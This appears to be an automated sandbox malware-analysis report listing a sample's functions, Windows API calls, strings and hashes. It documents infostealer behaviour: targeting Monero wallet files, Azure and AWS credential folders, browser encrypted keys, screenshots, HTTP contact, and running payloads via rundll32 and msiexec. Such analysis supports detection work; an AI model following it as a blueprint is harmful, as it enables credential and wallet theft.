Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: d0c1c996a35a02831ea659f7ab12bdff4efff06423804b5f6f79c583c587f019
Instruction ID: 98603760e6e917b905bc192cede0e3a4b7fffc9aa5e0feff08a3e5a2c23f1a7d
Opcode Fuzzy Hash: d0c1c996a35a02831ea659f7ab12bdff4efff06423804b5f6f79c583c587f019
Instruction Fuzzy Hash: E9E13372910218EBCB18EBA0ED9AEEE73B8BF54300F145168F147B7095DE35AE45CB61

Function 00E1C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,008FCF90,00000000,?,00E3144C,00000000,?,?), ref: 00E1CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00E1CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00E1CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E1CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00E1CAD9
StrStrA.SHLWAPI(?,008FCE40,00E30B52), ref: 00E1CAF7
StrStrA.SHLWAPI(00000000,008FCF30), ref: 00E1CB1E
StrStrA.SHLWAPI(?,008FD758,00000000,?,00E31458,00000000,?,00000000,00000000,?,008F8970,00000000,?,00E31454,00000000,?), ref: 00E1CCA2
StrStrA.SHLWAPI(00000000,008FD698), ref: 00E1CCB9

Part of subcall function 00E1C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E1C871
Part of subcall function 00E1C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E1C87C

StrStrA.SHLWAPI(?,008FD698,00000000,?,00E3145C,00000000,?,00000000,008F89D0), ref: 00E1CD5A
StrStrA.SHLWAPI(00000000,008F8B10), ref: 00E1CD71

Part of subcall function 00E1C820: lstrcat.KERNEL32(?,00E30B46), ref: 00E1C943
Part of subcall function 00E1C820: lstrcat.KERNEL32(?,00E30B47), ref: 00E1C957
Part of subcall function 00E1C820: lstrcat.KERNEL32(?,00E30B4E), ref: 00E1C978

lstrlen.KERNEL32(00000000), ref: 00E1CE44
CloseHandle.KERNEL32(00000000), ref: 00E1CE9C

Strings

, xrefs: 00E1C9C6

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 625701f6429e6530bab757ef33f6612e8e0ce0f3a2594f0dc8075cbd154bc1c6
Instruction ID: 6e63e562a5a58f8eb6ea1cd82ddb7069776eb550ada0de4dfed5e94fce946b70
Opcode Fuzzy Hash: 625701f6429e6530bab757ef33f6612e8e0ce0f3a2594f0dc8075cbd154bc1c6
Instruction Fuzzy Hash: 7AE12172900118ABCB18EBA0EC95FEEB7B8BF54300F045169F10777191DF746A4ACB61

Function 00E28320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

RegOpenKeyExA.ADVAPI32(00000000,008FABA0,00000000,00020019,00000000,00E305B6), ref: 00E283A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E28426
wsprintfA.USER32 ref: 00E28459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00E2847B
RegCloseKey.ADVAPI32(00000000), ref: 00E2848C
RegCloseKey.ADVAPI32(00000000), ref: 00E28499

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Strings

%s\%s, xrefs: 00E2844D
?, xrefs: 00E2837A
- , xrefs: 00E285A3

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 6343a5de609a5e8cf3f5709934b5488e3a894a7fcbed24cf8262bde53f008b82
Instruction ID: e8922724ebb926f69e93992e6f630f99a1e70de8d676e8fe75f7c1e06470932e
Opcode Fuzzy Hash: 6343a5de609a5e8cf3f5709934b5488e3a894a7fcbed24cf8262bde53f008b82
Instruction Fuzzy Hash: AC811C7191122CEBDB28DF50DD95FEAB7B8BF48700F049299E10AA6140DF756B85CFA0

Function 00E24D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28E0B

lstrcat.KERNEL32(?,00000000), ref: 00E24DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00E24DCD

Part of subcall function 00E24910: wsprintfA.USER32 ref: 00E2492C
Part of subcall function 00E24910: FindFirstFileA.KERNEL32(?,?), ref: 00E24943

lstrcat.KERNEL32(?,00000000), ref: 00E24E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00E24E59

Part of subcall function 00E24910: StrCmpCA.SHLWAPI(?,00E30FDC), ref: 00E24971
Part of subcall function 00E24910: StrCmpCA.SHLWAPI(?,00E30FE0), ref: 00E24987
Part of subcall function 00E24910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E24B7D
Part of subcall function 00E24910: FindClose.KERNEL32(000000FF), ref: 00E24B92

lstrcat.KERNEL32(?,00000000), ref: 00E24EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00E24EE5

Part of subcall function 00E24910: wsprintfA.USER32 ref: 00E249B0
Part of subcall function 00E24910: StrCmpCA.SHLWAPI(?,00E308D2), ref: 00E249C5
Part of subcall function 00E24910: wsprintfA.USER32 ref: 00E249E2
Part of subcall function 00E24910: PathMatchSpecA.SHLWAPI(?,?), ref: 00E24A1E
Part of subcall function 00E24910: lstrcat.KERNEL32(?,008FE520), ref: 00E24A4A
Part of subcall function 00E24910: lstrcat.KERNEL32(?,00E30FF8), ref: 00E24A5C
Part of subcall function 00E24910: lstrcat.KERNEL32(?,?), ref: 00E24A70
Part of subcall function 00E24910: lstrcat.KERNEL32(?,00E30FFC), ref: 00E24A82
Part of subcall function 00E24910: lstrcat.KERNEL32(?,?), ref: 00E24A96
Part of subcall function 00E24910: CopyFileA.KERNEL32(?,?,00000001), ref: 00E24AAC
Part of subcall function 00E24910: DeleteFileA.KERNEL32(?), ref: 00E24B31

Strings

Azure\.IdentityService, xrefs: 00E24EEB
\.aws\, xrefs: 00E24E4D
*.*, xrefs: 00E24E64
msal.cache, xrefs: 00E24EF0
Azure\.aws, xrefs: 00E24E5F
\.azure\, xrefs: 00E24DC1
*.*, xrefs: 00E24DD8
\.IdentityService\, xrefs: 00E24ED9
Azure\.azure, xrefs: 00E24DD3

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 92846b344cce0758d07f1fb971ee43f3d65af86c8f87ed8dfc24091327c460e3
Instruction ID: 82c2df51fa419c6d029ea8c22178afee5b47b14dc6c96175a6d22f20b46b1854
Opcode Fuzzy Hash: 92846b344cce0758d07f1fb971ee43f3d65af86c8f87ed8dfc24091327c460e3
Instruction Fuzzy Hash: 2241B3BAA4031467D724F760EC4BFEE3678AB64700F005598B689760C1EEB557C8CB92

Function 00E29010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00E2906C

Strings

image/jpeg, xrefs: 00E29136

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: ddd4d03104bd2ef521882d9576e14b8ae26005e28e844c16688b279770c2eae2
Instruction ID: 585a660152dc93de8b63d298dd1fc3c889340a3bbccc31f070da51e80d13bc9f
Opcode Fuzzy Hash: ddd4d03104bd2ef521882d9576e14b8ae26005e28e844c16688b279770c2eae2
Instruction Fuzzy Hash: CC71F1B1A10318EBDB14DFE4E989FEEB7B9BF48300F105608F655A7284DB399945CB60

Function 00E22E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

ShellExecuteEx.SHELL32(0000003C), ref: 00E231C5
ShellExecuteEx.SHELL32(0000003C), ref: 00E2335D
ShellExecuteEx.SHELL32(0000003C), ref: 00E234EA

Strings

.msi, xrefs: 00E23398
.dll, xrefs: 00E231E5
"" , xrefs: 00E2309A
C:\Windows\system32\rundll32.exe, xrefs: 00E23332
C:\Windows\system32\msiexec.exe, xrefs: 00E234BF
/i ", xrefs: 00E233E4
<, xrefs: 00E23490
/passive, xrefs: 00E2345B

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 673f67c83e5314106056ff474715f81a7c0f0731bb3e6bd9cbed441b17a39375
Instruction ID: 9b65b05f83109186f9e1980a1d2c21326b706a84987478a3463c40fa4588cf4b
Opcode Fuzzy Hash: 673f67c83e5314106056ff474715f81a7c0f0731bb3e6bd9cbed441b17a39375
Instruction Fuzzy Hash: D5122F729001289BDB1DEBA0EC96FDEB7B8AF54300F445169F50676092EF742B4ACF51

Function 00E252C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E16280: InternetOpenA.WININET(00E30DFE,00000001,00000000,00000000,00000000), ref: 00E162E1
Part of subcall function 00E16280: StrCmpCA.SHLWAPI(?,008FE5C0), ref: 00E16303
Part of subcall function 00E16280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E16335
Part of subcall function 00E16280: HttpOpenRequestA.WININET(00000000,GET,?,008FDC58,00000000,00000000,00400100,00000000), ref: 00E16385
Part of subcall function 00E16280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E163BF
Part of subcall function 00E16280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E163D1

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25318
lstrlen.KERNEL32(00000000), ref: 00E2532F

Part of subcall function 00E28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00E25364
lstrlen.KERNEL32(00000000), ref: 00E25383
lstrlen.KERNEL32(00000000), ref: 00E253AE

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Strings

ERROR, xrefs: 00E253B9
ERROR, xrefs: 00E254A9
ERROR, xrefs: 00E2546F
ERROR, xrefs: 00E2530A
ERROR, xrefs: 00E25432

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 503b9ebb3012b3d3a18ebf863b2f6e4193fb315e4e2a74a54b2f0146cf9e3dc2
Instruction ID: 19ce43659c56f0efc494395758cf87bc0b6e87e6dc17e2504d95681e73a7ca19
Opcode Fuzzy Hash: 503b9ebb3012b3d3a18ebf863b2f6e4193fb315e4e2a74a54b2f0146cf9e3dc2
Instruction Fuzzy Hash: E5511E719101589BCB1CFF60ED9AAEE77B9AF10300F546028F5067B192EF746B45CB62

Function 00E212D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: c3f78ac3485fbb0afbb0cde9ad1bd4fd58ef5040a900161bcd3c20920d2fe7c2
Instruction ID: b3d385e1af9e795b6dc94092d7a15007572dc896d3f6c46abdbdd8977dfecf82
Opcode Fuzzy Hash: c3f78ac3485fbb0afbb0cde9ad1bd4fd58ef5040a900161bcd3c20920d2fe7c2
Instruction Fuzzy Hash: 97C1C5B69002289BCB18EF60EC89FEA73B8BF64304F0055D9F50A77141DB74AA85CF91

Function 00E24280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28E0B

lstrcat.KERNEL32(?,00000000), ref: 00E242EC
lstrcat.KERNEL32(?,008FDD30), ref: 00E2430B
lstrcat.KERNEL32(?,?), ref: 00E2431F
lstrcat.KERNEL32(?,008FCFA8), ref: 00E24333

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E28D90: GetFileAttributesA.KERNEL32(00000000,?,00E11B54,?,?,00E3564C,?,?,00E30E1F), ref: 00E28D9F

Part of subcall function 00E19CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E19D39

Part of subcall function 00E199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E199EC
Part of subcall function 00E199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E19A11
Part of subcall function 00E199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E19A31
Part of subcall function 00E199C0: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E19A5A
Part of subcall function 00E199C0: LocalFree.KERNEL32(00E1148F), ref: 00E19A90
Part of subcall function 00E199C0: CloseHandle.KERNEL32(000000FF), ref: 00E19A9A

Part of subcall function 00E293C0: GlobalAlloc.KERNEL32(00000000,00E243DD,00E243DD), ref: 00E293D3

StrStrA.SHLWAPI(?,008FDD90), ref: 00E243F3
GlobalFree.KERNEL32(?), ref: 00E24512

Part of subcall function 00E19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E19AEF
Part of subcall function 00E19AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E14EEE,00000000,?), ref: 00E19B01
Part of subcall function 00E19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E19B2A
Part of subcall function 00E19AC0: LocalFree.KERNEL32(?,?,?,?,00E14EEE,00000000,?), ref: 00E19B3F

lstrcat.KERNEL32(?,00000000), ref: 00E244A3
StrCmpCA.SHLWAPI(?,00E308D1), ref: 00E244C0
lstrcat.KERNEL32(00000000,00000000), ref: 00E244D2
lstrcat.KERNEL32(00000000,?), ref: 00E244E5
lstrcat.KERNEL32(00000000,00E30FB8), ref: 00E244F4

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
